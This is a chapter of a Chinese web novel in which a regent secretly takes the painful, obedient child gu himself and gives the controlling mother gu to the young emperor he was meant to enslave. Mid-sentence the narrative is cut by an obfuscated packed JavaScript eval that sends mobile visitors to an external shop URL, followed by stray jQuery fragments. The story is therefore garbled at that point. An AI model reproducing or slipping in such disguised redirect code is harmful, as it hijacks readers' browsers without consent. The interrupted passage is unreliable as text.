1. 子母蛊
    “王爷……”

    “王爷!”

    一声呼唤宛若惊雷,段春及眼前止不住地发黑,不禁踉跄一下,他抬手扶额,不动声色稳住身形,硬是叫旁人察觉不出异样来。

    视线得以释放,晕眩却久久不散,他袖中的手紧攥成拳,指甲深深烙入掌心。

    段春及视线缓移,一派风轻云淡:“怎么?”

    “时辰刚好,东西也准备好了。”对方一板一眼答道,“王爷,何时动手。”

    动手?

    混沌的大脑极力转动着,他还搞不清现下处境,但到底记得自己是谁。

    他是北齐的摄政王,是权倾朝野,位高权重的第一人。

    如同找到线头的毛团,段春及垂眼轻瞥,几息间判断眼下处境。

    蹲在矮脚桌前说话的家伙,唤做若三,苗疆人,一手蛊术出神入化。

    他鬓角处横了一道疤,眉眼稚嫩,瞧着十六七岁,实际年龄却不详。

    段春及少时与他相交,自打那时将他捡回府中,年十三到及冠,这人从头到脚一点儿没变。

    不仅如此,当时若三还失了忆,浑身狼狈一身的伤,当时段春及还未取字,便让若三唤他段筹。

    打那以后,若三死心眼的只认他一人,从此跟里跟外,风雨无阻,这一跟,就是十年。

    十余年光阴积淀,谁都能背叛他,唯独若三不会。

    “不急,”段春及缓吐一口气,多年相处,他对若三秉性很了解,有些话直言无虞:“如今何年何月,时辰如何?”

    果不其然,他得到毫无波动的答复:“崇元三年九月初六,酉时六刻。”

    “王爷。”若三单手托着一只密封小碟,他抬眼似有不解,“子母蛊已备好,不动手吗。”

    闻言,段春及若有所觉转头看去,入眼是层叠帷幔,将里面的人遮挡得极模糊。

    看不清脸,身份却不难猜。段春及屏住呼吸,一时间心跳轰鸣,再听不见外界毫分声音。

    他终于撩开帷幔,床上的人闭目沉睡着,五官还未完全长开,介于少年与青年之间,尚有稚气未脱,可眉宇间浅浅皱痕未消,显然睡得极不安稳。

    “姬…淮。”他大不敬地低唤着当朝皇帝的名讳,探手轻抚对方眉心,几乎移不开目光:“还没长大啊…”

    “真是,太好了。”他低低笑道,“还来得及。”

    一旁若三歪头打量,段春及置若罔闻,他仔仔细细地将姬淮的模样看上一遍,以目光镌刻入心底。

    “子母蛊。”段春及眼底一暗,重复道:“若三,你再将它的用途,作用及后果,简略说与我听。”

    “它事关重大,我必须慎重。”

    若三果然不疑有他:“子母蛊如其名,母蛊掌权发号施令,子蛊听命,母可弑子,子赖母生,母蛊死子蛊共亡,反之无碍。”

    “植入母蛊者可掌子蛊者的生死虐痛,这对子母蛊尤为特殊,携子蛊者不能违抗母蛊任何命令。”

    器皿中二蛊首尾相连,稍大的母蛊不过绿豆大小,若三掀起眼皮,轻飘飘朝龙床掠一眼,古井无波道:“陛下至少要一个时辰才会醒。”

    “二蛊入体时不可相差三刻之上,且必得母蛊优先,王爷,请吧。”

    “不可违抗…”段春及低声复述,他缓缓退开,挺直了身板,口吻平静极了:“九五之尊听命于我,当真殊荣。”

    傀儡皇帝…真是个好法子。

    段春及心底冷笑不止,心绪不宁间,那种剥离的晕眩感又起,他不禁警铃大作,指甲刺入皮肉,疼痛勉强扯回几分清醒。

    时间不多了,段春及沉下眉眼,将诸多谜团抛在脑后,专注眼前:“是耽误不得,若三,开始吧。”

    “是。”

    想用这种龌龊手段夺取帝位,也要看他答不答应。

    母蛊横于两针上,若三起身,却听对方开口:“这是母蛊?”

    若三点头:“是。”

    “种于何处?”

    “母蛊惰性温顺,常种于腕部或肘下。”

    他见王爷犹豫片刻,瞧着蛊虫皱了眉:“这种蛊…可痛?”

    王爷这话简直像幼童哭药苦,若三不禁莞尔:“母蛊老实,故痛感低微,要说疼,子蛊才叫受种者难以忍受,若非陛下因药性深陷昏迷,这子蛊定难下得很。”

    “如此,便无妨了。”段春及这才舒眉,他引着若三上前,看向小皇帝的眼神悄然柔和。

    “我改主意了。”段春及勾唇,决断不容抗拒:“母蛊种给陛下,在肘后吧,平日莫叫他瞧见。”

    若三愕然:“什……”

    段春及打断他的话,眸光凌厉一闪而过,他低声道:“照孤说的做。”

    “我知你心中疑虑,莫要多问。事成之后,我自会告知你。”

    他一旦这样说话,便是不可斡旋了。若三垂首,闷不吭声干活。

    刀片精细锐利,若三手艺绝妙,他顺着皮肤纹路划开小口,仅两滴血落在琉璃片上,又把针上的母蛊与血凑近,豆大的小虫在血中慢慢打了个滚,它爬了爬,便朝伤口的方向挪着凑近了。

    看来蛊与受种者相合,若三松了口气,用银针把母蛊带进伤口,直到小虫彻底钻入皮肉。

    “无异动,蛊与人相性不错,王爷,好了。”

    整个过程不过短短一炷香,二人却是全神贯注,直到现在才松了口气。

    若三拿出特制的药膏涂抹在小皇帝的伤处,本就细小的伤口很快开始愈合,不出两个时辰,便可与之前无异。

    母蛊是给了陛下,这子蛊恐怕……

    王爷要做什么,若三心里明白,但他就是搞不懂对方的意图。

    相处这么多年,仿佛自打新帝继位,王爷就变得有些怪,如今箭在弦上,更是反复无常。

    好像那个叫权势的东西,他一时思之如狂,一时又弃之如

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090357|149591||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    履。

    若三想不明白,但王爷想做的事,他干,王爷交待他的话,他听。其余更多的…明白最好,不明白便罢。

    “若三,子蛊种于何处?”

    若三回过神,下意识答道:“最好种于后颈脉旁,若求安稳,也可在肩胛处…”

    “就在后颈吧。”段春及颔首,寻个矮凳坐下,捋开碎发垂首:“劳烦你。”

    “……可是,”若三不是啰嗦的人,但他了解自己的蛊,犹豫片刻,还是出言最后求证,“子蛊意味什么,你我都明白,把身家性命系于旁人,段筹,你真的想清楚了?”

    “知道你不放心。”段春及没回头,侧首的角度只能见他眉尾一挑,温下的声音吊儿郎当,带着承诺意味,“真想好了,动手吧,信我。”

    “好。”与此同时,刀尖好不利落地刺入肌肤。

    尊贵的摄政王殿下被疼的一激灵,他死死咬牙:“嘶!轻点轻点,你想疼死我啊。”

    “王爷恕罪,更疼的在后面。”

    “你真…啧,三儿,你直说,是不是报复——啊唔!”

    子蛊入体那一瞬,段春及再也无心强撑打趣儿,他狠狠咬住手腕压下痛呼,面色刹那苍白,冷汗如瀑。

    不知忍了多久,子蛊暴动才逐渐平息,经脉血肉被翻腾撕咬的痛楚淡去,段春及力竭靠在一旁,眼皮半阖,垂落露出的手腕也鲜血淋漓。

    “幸亏是我。”他唇瓣微动,声如蚊蚋:“可真疼。”

    若三只听清他说疼,抿平了唇角,他有点生气,但面上不显:“王爷与子蛊相性不合,定是比旁人要多挨些罪。”

    他拽起段春及手腕,看一眼对方掌心,默不作声仔细处理好这两处伤,又替他将后颈的伤上药包扎好:“子蛊留的伤更深,即便用我特制的药,也得养上两天。”

    若三冷不丁又问:“王爷可怕疼?”

    段春及正是神思困倦,听若三这么问才勉强睁开一只眼睛,含糊道“…一般。”

    “既然如此,属下也没什么好隐瞒的。”若三收拾起碟子包袱,语调毫无起伏心如止水:“子蛊比母蛊活跃,会因母蛊持有者,也就是陛下的心情而变动。”

    “过喜过悲,过忧过躁,它都有感应,它又不喜您,这表达感应的方式,自然就是疼痛。”

    段春及一僵:“…你方才怎么不说?”

    “王爷连子母蛊最大的威胁都不惧,岂会在意这点小事。”

    段春及怒极反笑:“好你个若三,反讽我?中原话当真叫你研究个透彻。”

    “属下不敢。”

    “你不敢个…”段王爷把污言秽语压下,气虚体虚地站起身,“罢了,走吧,回府再收拾你。”

    他命若三将一切整理好,除尽血迹,离开前,冰凉的指尖在姬淮额心一点:“你啊……”

    一声轻叹落入无边黑梦,门悄无声息地关上,无人发现,姬淮的眼皮动了动。